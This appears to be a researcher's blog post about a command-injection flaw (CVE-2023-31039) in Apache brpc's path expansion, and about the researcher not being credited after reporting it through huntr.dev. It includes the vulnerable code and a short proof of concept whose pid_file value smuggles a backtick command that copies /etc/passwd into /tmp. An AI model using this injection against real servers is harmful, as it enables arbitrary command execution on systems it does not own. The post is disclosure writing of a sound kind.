CVE-2023-31039: Dont Steal My First CVE

Security Research · Jun 26, 2023 · ~5 min

Introduction

In the vast landscape of open source software, collaboration and contribution are highly valued. Open source projects rely on the collective efforts of developers around the world to improve and secure their codebases. However, sometimes the lines between collaboration and opportunism can blur, leading to unexpected situations that can leave contributors feeling betrayed. Throughout this blog post, i highlights the importance of ethical behavior within open source communities for responsible disclosure and attribution, emphasizing the need for transparency, acknowledgment, and fair recognition of researcher effort.

Vulnerability

Before dive deep into the problem, lets talk about the vulnerability itself. The vulnerability occur at this method

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

static std::string ExpandPath(const std::string &path) {
    if (path.empty()) {
        return std::string();
    }
    std::string ret;
    wordexp_t p;
    wordexp(path.c_str(), &p, 0);
    CHECK_EQ(p.we_wordc, 1u);
    if (p.we_wordc == 1) {
        ret = p.we_wordv[0];
    }
    wordfree(&p);
    return ret;
}

As you can see, the project is using wordexp() to expand a path. For example if you input path like ~/project/hack it will translated into /home/syahrul/project/hack. According to wordexp manual pages user supplied input must not contains some character to do command substitution like ${} or double backtick because the path expansion from wordexp is same as the expansion by the shell sh(). So if you input path like ~/project/${hack} it will translated into /home/syahrul/project/hack and the hack will be executed as a command. This is a critical vulnerability because it can lead to remote code execution.

Back into the vulnerable code, if we can control the path string, we can run any command on system. After tracing the cross reference, the ExpandPath method is used by PutPidFileIfNeeded()

1
2
3
4
5
6
7
8

void Server::PutPidFileIfNeeded() {
    _options.pid_file = ExpandPath(_options.pid_file);
    if (_options.pid_file.empty()) {
        return;
    }
    RPC_VLOG << "pid_file = " << _options.pid_file;
    ....
}

And the _options.pid_file is user controllable input from ServerOptions::pid_file. The example of usage of ServerOptions::pid_file is available on the one of this unit test.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

TEST_F(ServerTest, create_pid_file) {
    {
        brpc::Server server;
        server._options.pid_file = "./pid_dir/sub_dir/./.server.pid";
        server.PutPidFileIfNeeded();
        pid_t pid = getpid();
        std::ifstream fin("./pid_dir/sub_dir/.server.pid");
        ASSERT_TRUE(fin.is_open());
        pid_t pid_from_file;
        fin >> pid_from_file;
        ASSERT_EQ(pid, pid_from_file);
    }
    std::ifstream fin("./pid_dir/sub_dir/.server.pid");
    ASSERT_FALSE(fin.is_open());
}

Now the vulnerability can exploited by mimic the unit test. The following payload will create a file named pwned_by_ru1es on /tmp directory.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14

#include <brpc/server.h>

int main(int argc, char* argv[]) {
    brpc::Server server;
    brpc::ServerOptions options;
    options.pid_file = "`cat /etc/passwd > /tmp/pwned_by_ru1es`";
    if (server.Start(1337, &options) != 0)
    {
        LOG(ERROR) << "Fail to start HttpServer";
        return -1;
    }
    server.RunUntilAskedToQuit();
    return 0;
}

i have created the Proof of Concept with docker to reproduce the vulnerability. You can check it here

Reporting

Few days before i found the vulnerability, i stumble upon this website that offer you some ability to report a open source security vulnerability to the maintainer. I think this is useful for me because i dont need to find any contact or email of the maintainer. Also this platform is cooperate with MITRE CVE Program to assign CVE ID so that i think this is a good place to report the vulnerability.

Here’s the report link : https://huntr.dev/bounties/c4c8b69e-daf7-4e6b-982b-732936a7d8a4/

I reported at 20 April 2023 with all the information like the description, vulnerable code, the PoC, and the impact of the vulnerability.

After few days, specifically at 24 and 27 April 2023, the maintainer aknowledge and validate my report as valid security vulnerability

Few days without any response, i found that the maintainer released new version of brpc and the vulnerability has been patched within this commit

This is exactly same as the occurence of the vulnerability in my report and the date is obviously after my report. So i think this is a good sign that the maintainer has fixed the vulnerability.

Then i contacted the admin of huntr.dev about status of my report now. One of the admin said that Apache is probably strategically delaying the publication of the vulnerability report. At first place i think maybe i need to wait more. But after few days, i found that the vulnerability has been published on CVE-2023-31039 and NVD with the date 2021-05-08.

This CVE date is exactly after i reported this vulnerability and the maintainer didnt event resolve my report at huntr.dev anymore. My patience is running out, through discord DM, i contacted one of the huntr.dev admin and they said:

Like i was expected, the maintainer didnt even resolve my report at huntr.dev after a week and now admin has to published the vulnerability manually. I think this is not fair for me because i have reported the vulnerability first and the maintainer didnt even resolve my report even they assign the CVE under someone name 🤣. This is a bad practice from the maintainer and i think this is not a good way to treat the security researcher. I also dissapointed because the platform didnt escalate the issue or do anything about it in order to help assign my name under the CVE 😅.

Timeline

Conclusion

Well, at the end of the day, i cant do anything about it and just gave up. I hope this writeup can be a lesson for me and for the other security researcher to be more careful when reporting a vulnerability to the maintainer through third party platform.

Q&A

Thank you for reading!

· · ·

Love This Content?

Any kind of supports is greatly appreciated!

Drop Your Comment Below